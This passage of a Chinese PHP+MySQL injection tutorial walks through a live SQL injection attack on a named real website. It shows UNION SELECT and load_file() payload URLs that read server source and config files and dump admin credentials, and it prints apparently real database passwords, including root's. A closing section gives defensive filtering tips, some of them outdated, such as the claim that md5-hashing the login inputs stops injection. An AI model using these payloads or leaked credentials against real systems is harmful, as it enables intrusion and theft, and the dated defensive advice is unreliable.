我们看读出来的内容 舼��? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://www.yoursite.com (?靃?KA靃?靃? 127.0.0.1 d|?�? aaa 3dbe00a167653a1aaee01d93e77e730e sdf@sd.com sdfasdfsdfa asdfadfasd ?E麷AM麷A 127.0.0.1 222 222222223423 虽然乱码一堆,但是我们还是可以看出用户名是admin,密码是698d51a19d8a121ce581499d7b701668,后面其它的是另外的信息。 通过这种方法我们就实现了曲线跨库,下面的例子中也会提到哦!
说了这么多下面我们来具体的使用一次,这次测试的对象是国内一著名安全类站点――黑白网络 听人家说黑白有漏洞?我们一起去看看吧。
http://www.heibai.net/down/show.php?id=5403%20and%201=1 正常显示。 如图35
http://www.heibai.net/down/show.php?id=5403%20and%201=2 php程序员站 显示不正常。 如图36
好,我们继续
http://www.heibai.net/down/show.php?id=5403%20and%201=1 union select 1 显示结果如下 如图37
注意看图中没有显示程序名,而且还附带了 Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\show.php on line 45
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in D:\web\heibai\down\global.php on line 578
晕了,网站路径出来了,那可就死定了哦! 我们继续,直到我们猜到
http://www.heibai.net/down/show.php?id=5403%20and%201=1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 www.phperz.com 的时候正常显示了。 如图38
好我们转换语句成为
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 显示如图39
看看简介处显示为12,我们可以猜测此处应该为字符型! Ok,我们下面看看文件内容先 D:/web/heibai/down/show.php转化成ascii后为 char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112) 我们 view-source http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112)),13,14,15,16,17,18,19 phperz.com view-source:是指察看源代码,至于为什么用,我们后面将讲到 显示出它的源代码 如图40
因为在show.php中有一句 <META HTTP-EQUIV=REFRESH CONTENT='0;URL=list.php'> 如果我们直接在浏览器里提交会跳转到list.php 我们发现这句require ("./include/config.inc.php"); 好东西,应该放这配置文件,ok继续 d:/web/heibai/down/include/config.inc.php 转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112) 我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19 phperz.com 显示结果如图41
里面内容主要有 ………………….. ymDown (夜猫下载系统) 是一个应用于网站提供下载服务的的程序 // ------------------------- -------- ------------------------- // // 常规设置 // // ------------------------- -------- ------------------------- //
// 数据库信息 $dbhost = "localhost"; // 数据库主机名 $dbuser = "download";// 数据库用户名 $dbpasswd = "kunstar988"; // 数据库密码 $dbname = "download"; // 数据库名
// Cookie 名称 $cookie_name = "heibai"; // 版本号 $version = "1.0.1";
// 数据表名 $down_table = ymdown; $down_user_table = ymdown_user; $down_sort1_table = ymdown_sort1; $down_sort2_table = ymdown_sort2; 晕原来用的是夜猫的下载系统,而且我们知道了 $dbuser = "download";// 数据库用户名 $dbpasswd = "kunstar988"; // 数据库密码 php程序员站 说不定呆会有用哦。 用的表名是默认的表名,我们知道夜猫的管理员密码放在ymdown_user中 我们继 http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user 结果如图42
根据提示我们知道文件大小处的是username,应用平台处的是password(对照图36) 即username=dload,password=6558428,夜猫的后台默认在admin目录下,我试验了很久都没有找到,晕之。 想直接连接mysql,发现telnet端口并没有开放。我们去看看别的吧!
http://www.heibai.net/vip/article/login.php 看起来像是会员的登陆哦,我们看看先 d:/web/heibai/vip/article/login.php 转化成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112) php程序员站 我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,103,105,110,46,112,104,112)),13,14,15,16,17,18,19 结果如图43:
其中 require ("./include/global.php"); require ("./include/config.inc.php"); require ("./mainfunction.php"); require ("./function.php"); 当然了,我们去看config.inc.php吧 d:/web/heibai/vip/article/include/config.inc.php 转成char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112) 输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,110,99,108,117,100,101,47,99,111,110,102,105,103,46,105,110,99,46,112,104,112)),13,14,15,16,17,18,19 phperz~com 结果如图44
显示了很多好东西哦
$dbhost = "localhost"; // 数据库主机名 $dbuser = "root"; // 数据库用户名 $dbpass = "234ytr8ut"; // 数据库密码 $dbname = "article"; // 数据库名 $ymcms_user_table = "user"; $ymcms_usergroup_table = "usergroup"; $ymcms_userrace_table = "userrace"; 表还是默认的表,而且出来了root的密码 要是能连上它的mysql该多好啊,那样我们就可以into outfile了 痛苦的找了找phpmyadmin,没有找见,或许根本就没有用。 读c:/winnt/php.ini发现 ; Magic quotes ; ; Magic quotes for incoming GET/POST/Cookie data. magic_quotes_gpc = On 55555555,痛苦中,我们看看能不能搞几个会员账号 猜测会员账号放在user表中,我们直接读data下article文件夹里的user.myd文件 Article/user.myd转换成 char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100) 我们输入
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100)),13,14,15,16,17,18,19 php程序员站 结果如图45:
晕了,竟然没有返回。我们来读Article/user.frm
http://www.heibai.net/down/show.php?id=5403%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,load_file(char(97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109)),13,14,15,16,17,18,19 结果如图46
晕了,表结构都在,而且读Article/user.myi时也成功,可是为什么Article/user.myd读不出来呢?要是magic_quotes_gpc=Off我们还可以into outfile来看看,可是…… 郁闷中,测试就这样结束吧,下面的工作还是留给你们来完成吧! 文中所述问题已经通知星坤了! 四:php+mysql注入的防范方法。 在上一期的专题里已经讲了很多的防范方法,这里我就主要讲一下php+mysql注射攻击的防范方法。 大家看到,在magic_quotes_gpc=On的时候,很多的注射攻击已经没有作用了。 我们可以利用这个来加固我们的程序。Addslashes()函数等同于magic_quotes_gpc=On,而且与magic_quotes_gpc=On也不冲突,我们可以这样过滤 www.phperz.com $username = addslashes($username); $query="SELECT * FROM users WHERE userid='$username'"); 对于id型我们可以利用intval()函数,intval()函数可以将变量转换成整数类型,这样就可以了。 我们可以这样 $id = intval($id); $query="SELECT * FROM alphadb WHERE articleid='$id'"); 如果是字符型的呢? 我们可以先用addslashes()过滤一下,然后再过滤”%”和”_”. 例如: $search = addslashes($search); $search = str_replace("_","\_",$search); $search = str_replace("%","\%",$search); 记得,可千万别在magic_quotes_gpc=On的情况下替换\为\\,如下: $password=str_replace("\\","\\\\",$password); 我记得在darkness的文章《对某PHP站点的一次渗透》中提到过这个问题(在光盘中有收录)。 还有的就是登陆的地方,如果是只用一个管理员管理的话,我们可以直接对username和passwd用md5加密,这样就不用害怕注入技术的发展了。 Username=md5($HTTP_POST_VARS["username"]); www~phperz~com Passwd=md5($HTTP_POST_VARS["passwd"]); 我的后台登陆就是这样子的哦。
|